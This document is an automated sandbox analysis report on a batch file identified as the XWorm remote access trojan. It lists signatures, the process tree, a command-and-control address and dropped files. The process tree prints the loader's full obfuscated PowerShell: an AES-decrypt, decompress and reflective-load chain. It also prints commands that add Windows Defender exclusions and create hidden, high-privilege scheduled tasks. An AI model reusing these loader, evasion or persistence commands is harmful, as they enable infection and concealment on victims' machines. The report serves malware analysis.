Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    72s
  • max time network
    74s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/11/2024, 01:56

Errors

Reason
Machine shutdown

General

  • Target

    skibidi toilet.bat

  • Size

    385KB

  • MD5

    bd4af530d004a712f796171f4c748bd0

  • SHA1

    22b50637859441a9024bef4c367f4ddb4bc12a9c

  • SHA256

    57e2b4dc37fad695aaf7cd4841e37d66c7a84fe61eefbc1183261b628ac87dbf

  • SHA512

    b7266ca4041ec8c1b9b59b0075d154c6100f8431903701522c51c31cfcece84ccec2623dad9a9a13b266e6d252f7393c27536994ef76c079f5f18bd9e66f126b

  • SSDEEP

    6144:UfSqeucViW45gbfeJxrvJYYVOfpsMRxUQvRRTpFvGHk46g+o:Uz4C3JdngbIMRZfeHF

Malware Config

Extracted

Family

xworm

C2

193.161.193.99:25993

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 15 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 26 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Drops file in System32 directory
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:768
    • C:\Windows\system32\backgroundTaskHost.exe
      "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
      2⤵
        PID:2216
      • C:\Windows\system32\backgroundTaskHost.exe
        "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
        2⤵
          PID:2440
        • C:\Windows\system32\backgroundTaskHost.exe
          "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
          2⤵
            PID:4812
          • C:\Windows\system32\backgroundTaskHost.exe
            "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
            2⤵
              PID:4624
            • C:\Windows\System32\mousocoreworker.exe
              C:\Windows\System32\mousocoreworker.exe -Embedding
              2⤵
                PID:444
              • C:\Windows\system32\backgroundTaskHost.exe
                "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
                2⤵
                  PID:3580
                • C:\Windows\system32\backgroundTaskHost.exe
                  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                  2⤵
                    PID:4968
                  • C:\Windows\system32\backgroundTaskHost.exe
                    "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
                    2⤵
                      PID:1716
                    • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                      C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                      2⤵
                        PID:4708
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k RPCSS -p
                      1⤵
                        PID:892
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
                        1⤵
                          PID:944
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
                          1⤵
                            PID:528
                          • C:\Windows\System32\svchost.exe
                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                            1⤵
                              PID:604
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                              1⤵
                                PID:1040
                              • C:\Windows\System32\svchost.exe
                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                                1⤵
                                  PID:1096
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                                  1⤵
                                    PID:1108
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                                    1⤵
                                    • Drops file in System32 directory
                                    PID:1124
                                    • C:\Users\Admin\AppData\Roaming\System User
                                      "C:\Users\Admin\AppData\Roaming\System User"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:532
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                                    1⤵
                                    • Indicator Removal: Clear Windows Event Logs
                                    PID:1164
                                  • C:\Windows\system32\svchost.exe
                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                                    1⤵
                                      PID:1236
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                                      1⤵
                                        PID:1304
                                      • C:\Windows\system32\svchost.exe
                                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                                        1⤵
                                          PID:1324
                                        • C:\Windows\system32\svchost.exe
                                          C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                                          1⤵
                                            PID:1408
                                          • C:\Windows\system32\svchost.exe
                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                            1⤵
                                              PID:1456
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                              1⤵
                                                PID:1524
                                              • C:\Windows\System32\svchost.exe
                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                                1⤵
                                                  PID:1556
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                                  1⤵
                                                    PID:1640
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                                    1⤵
                                                      PID:1700
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                                      1⤵
                                                        PID:1736
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                                        1⤵
                                                          PID:1808
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                          1⤵
                                                            PID:1884
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                            1⤵
                                                              PID:1948
                                                            • C:\Windows\System32\svchost.exe
                                                              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                              1⤵
                                                                PID:1960
                                                              • C:\Windows\System32\svchost.exe
                                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                                1⤵
                                                                  PID:2044
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                                  1⤵
                                                                    PID:1936
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                                    1⤵
                                                                      PID:1956
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                                      1⤵
                                                                        PID:2152
                                                                      • C:\Windows\System32\svchost.exe
                                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                                        1⤵
                                                                          PID:2184
                                                                        • C:\Windows\System32\svchost.exe
                                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                                          1⤵
                                                                            PID:2272
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                                            1⤵
                                                                              PID:2488
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                              1⤵
                                                                                PID:2500
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                                1⤵
                                                                                • Drops file in System32 directory
                                                                                PID:2624
                                                                              • C:\Windows\System32\svchost.exe
                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                                1⤵
                                                                                  PID:2712
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                                  1⤵
                                                                                    PID:2720
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                                    1⤵
                                                                                    • Enumerates connected drives
                                                                                    PID:2728
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                                    1⤵
                                                                                      PID:3036
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                                      1⤵
                                                                                        PID:3156
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                        1⤵
                                                                                          PID:3360
                                                                                        • C:\Windows\Explorer.EXE
                                                                                          C:\Windows\Explorer.EXE
                                                                                          1⤵
                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                          PID:3444
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\skibidi toilet.bat"
                                                                                            2⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:2484
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('om5QDpz+YB720rzQSYX8wId74inmoR6vz07aL7HDKD0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aq3pnaEo9mphTtVuzj3ZHw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TnSRM=New-Object System.IO.MemoryStream(,$param_var); $QPGnf=New-Object System.IO.MemoryStream; $HCoKQ=New-Object System.IO.Compression.GZipStream($TnSRM, [IO.Compression.CompressionMode]::Decompress); $HCoKQ.CopyTo($QPGnf); $HCoKQ.Dispose(); $TnSRM.Dispose(); $QPGnf.Dispose(); $QPGnf.ToArray();}function execute_function($param_var,$param2_var){ $deAso=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $EqiGg=$deAso.EntryPoint; $EqiGg.Invoke($null, $param2_var);}$qfQMh = 'C:\Users\Admin\AppData\Local\Temp\skibidi toilet.bat';$host.UI.RawUI.WindowTitle = $qfQMh;$UJtTy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qfQMh).Split([Environment]::NewLine);foreach ($rTczV in $UJtTy) { if ($rTczV.StartsWith('KUVjIfwfBwDfXoqrZwfw')) { $XCsJx=$rTczV.Substring(20); break; }}$payloads_var=[string[]]$XCsJx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                              3⤵
                                                                                                PID:660
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                3⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                • Modifies registry class
                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:3116
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_217_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_217.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                  4⤵
                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:4320
                                                                                                • C:\Windows\System32\WScript.exe
                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_217.vbs"
                                                                                                  4⤵
                                                                                                  • Checks computer location settings
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:4876
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_217.bat" "
                                                                                                    5⤵
                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                    PID:3932
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('om5QDpz+YB720rzQSYX8wId74inmoR6vz07aL7HDKD0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('aq3pnaEo9mphTtVuzj3ZHw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TnSRM=New-Object System.IO.MemoryStream(,$param_var); $QPGnf=New-Object System.IO.MemoryStream; $HCoKQ=New-Object System.IO.Compression.GZipStream($TnSRM, [IO.Compression.CompressionMode]::Decompress); $HCoKQ.CopyTo($QPGnf); $HCoKQ.Dispose(); $TnSRM.Dispose(); $QPGnf.Dispose(); $QPGnf.ToArray();}function execute_function($param_var,$param2_var){ $deAso=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $EqiGg=$deAso.EntryPoint; $EqiGg.Invoke($null, $param2_var);}$qfQMh = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_217.bat';$host.UI.RawUI.WindowTitle = $qfQMh;$UJtTy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qfQMh).Split([Environment]::NewLine);foreach ($rTczV in $UJtTy) { if ($rTczV.StartsWith('KUVjIfwfBwDfXoqrZwfw')) { $XCsJx=$rTczV.Substring(20); break; }}$payloads_var=[string[]]$XCsJx.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                                      6⤵
                                                                                                        PID:5116
                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                                        6⤵
                                                                                                        • Blocklisted process makes network request
                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                        • Drops startup file
                                                                                                        • Adds Run key to start application
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                        PID:1264
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
                                                                                                          7⤵
                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:980
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
                                                                                                          7⤵
                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:2036
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System User'
                                                                                                          7⤵
                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:2512
                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System User'
                                                                                                          7⤵
                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:1992
                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System User" /tr "C:\Users\Admin\AppData\Roaming\System User"
                                                                                                          7⤵
                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                          PID:3596
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                              1⤵
                                                                                                PID:3544
                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                1⤵
                                                                                                  PID:4520
                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                  1⤵
                                                                                                    PID:1132
                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                    1⤵
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:4532
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                    1⤵
                                                                                                      PID:2464
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                      1⤵
                                                                                                      • Modifies data under HKEY_USERS
                                                                                                      PID:1404
                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                      1⤵
                                                                                                        PID:464
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                        1⤵
                                                                                                          PID:3308
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                          1⤵
                                                                                                            PID:2408

                                                                                                          Network

                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads

                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                            Filesize

                                                                                                            3KB

                                                                                                            MD5

                                                                                                            661739d384d9dfd807a089721202900b

                                                                                                            SHA1

                                                                                                            5b2c5d6a7122b4ce849dc98e79a7713038feac55

                                                                                                            SHA256

                                                                                                            70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

                                                                                                            SHA512

                                                                                                            81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                                                                            Filesize

                                                                                                            53KB

                                                                                                            MD5

                                                                                                            a26df49623eff12a70a93f649776dab7

                                                                                                            SHA1

                                                                                                            efb53bd0df3ac34bd119adf8788127ad57e53803

                                                                                                            SHA256

                                                                                                            4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

                                                                                                            SHA512

                                                                                                            e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            005bc2ef5a9d890fb2297be6a36f01c2

                                                                                                            SHA1

                                                                                                            0c52adee1316c54b0bfdc510c0963196e7ebb430

                                                                                                            SHA256

                                                                                                            342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

                                                                                                            SHA512

                                                                                                            f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                            Filesize

                                                                                                            1KB

                                                                                                            MD5

                                                                                                            1b43a808284da8d61503dd6c6c863794

                                                                                                            SHA1

                                                                                                            f269c29d64fda3ea16d08a9a5edb7f613c83ad37

                                                                                                            SHA256

                                                                                                            2735c36eb4646feaf972bebd02779727a8ca66de4389477297ace0976b143349

                                                                                                            SHA512

                                                                                                            17204e5295be8d6a76e615cf3631c183b0bba392aff1dc11149e2521bd87e07fe50f67efb6d1d16c44034eb62c947f6c67cfc7b2877221ef7f0789be69760104

                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                            Filesize

                                                                                                            944B

                                                                                                            MD5

                                                                                                            77d622bb1a5b250869a3238b9bc1402b

                                                                                                            SHA1

                                                                                                            d47f4003c2554b9dfc4c16f22460b331886b191b

                                                                                                            SHA256

                                                                                                            f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

                                                                                                            SHA512

                                                                                                            d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                            Filesize

                                                                                                            944B

                                                                                                            MD5

                                                                                                            eb1ad317bd25b55b2bbdce8a28a74a94

                                                                                                            SHA1

                                                                                                            98a3978be4d10d62e7411946474579ee5bdc5ea6

                                                                                                            SHA256

                                                                                                            9e94e7c9ac6134ee30e79498558aa1a5a1ac79a643666c3f8922eed215dd3a98

                                                                                                            SHA512

                                                                                                            d011f266c0240d84470c0f9577cd9e4927309bd19bb38570ca9704ed8e1d159f9bea982a59d3eefef72ce7a10bd81208b82e88ef57c7af587f7437a89769adc0

                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                            Filesize

                                                                                                            944B

                                                                                                            MD5

                                                                                                            ba169f4dcbbf147fe78ef0061a95e83b

                                                                                                            SHA1

                                                                                                            92a571a6eef49fff666e0f62a3545bcd1cdcda67

                                                                                                            SHA256

                                                                                                            5ef1421e19fde4bc03cd825dd7d6c0e7863f85fd8f0aa4a4d4f8d555dc7606d1

                                                                                                            SHA512

                                                                                                            8d2e5e552210dcda684682538bc964fdd8a8ff5b24cc2cc8af813729f0202191f98eb42d38d2355df17ae620fe401aad6ceaedaed3b112fdacd32485a3a0c07c

                                                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3kdsatdd.gnr.ps1

                                                                                                            Filesize

                                                                                                            60B

                                                                                                            MD5

                                                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                                                            SHA1

                                                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                            SHA256

                                                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                            SHA512

                                                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                          • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_217.bat

                                                                                                            Filesize

                                                                                                            385KB

                                                                                                            MD5

                                                                                                            bd4af530d004a712f796171f4c748bd0

                                                                                                            SHA1

                                                                                                            22b50637859441a9024bef4c367f4ddb4bc12a9c

                                                                                                            SHA256

                                                                                                            57e2b4dc37fad695aaf7cd4841e37d66c7a84fe61eefbc1183261b628ac87dbf

                                                                                                            SHA512

                                                                                                            b7266ca4041ec8c1b9b59b0075d154c6100f8431903701522c51c31cfcece84ccec2623dad9a9a13b266e6d252f7393c27536994ef76c079f5f18bd9e66f126b

                                                                                                          • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_217.vbs

                                                                                                            Filesize

                                                                                                            124B

                                                                                                            MD5

                                                                                                            393be701d5ffb826ae8b42a95a6fc9ad

                                                                                                            SHA1

                                                                                                            68a0529a1ac74ea9e186ebf9ac61e3bb534fbd11

                                                                                                            SHA256

                                                                                                            e3ec9d13afd7fc612f08a16a2fb12efd4cbe766c17884b67e3375b54cba5c7a3

                                                                                                            SHA512

                                                                                                            40dc11b2fa6a9f370af3518017c907828c5bf1f2ec7530678cdc8dbb18e37242472646c6ac3f6f7cc3c063710dafc4a89713a637132b5fb08ba7d2cbc3c7e0ce

                                                                                                          • C:\Users\Admin\AppData\Roaming\System User

                                                                                                            Filesize

                                                                                                            442KB

                                                                                                            MD5

                                                                                                            04029e121a0cfa5991749937dd22a1d9

                                                                                                            SHA1

                                                                                                            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                                                                                                            SHA256

                                                                                                            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                                                                                                            SHA512

                                                                                                            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

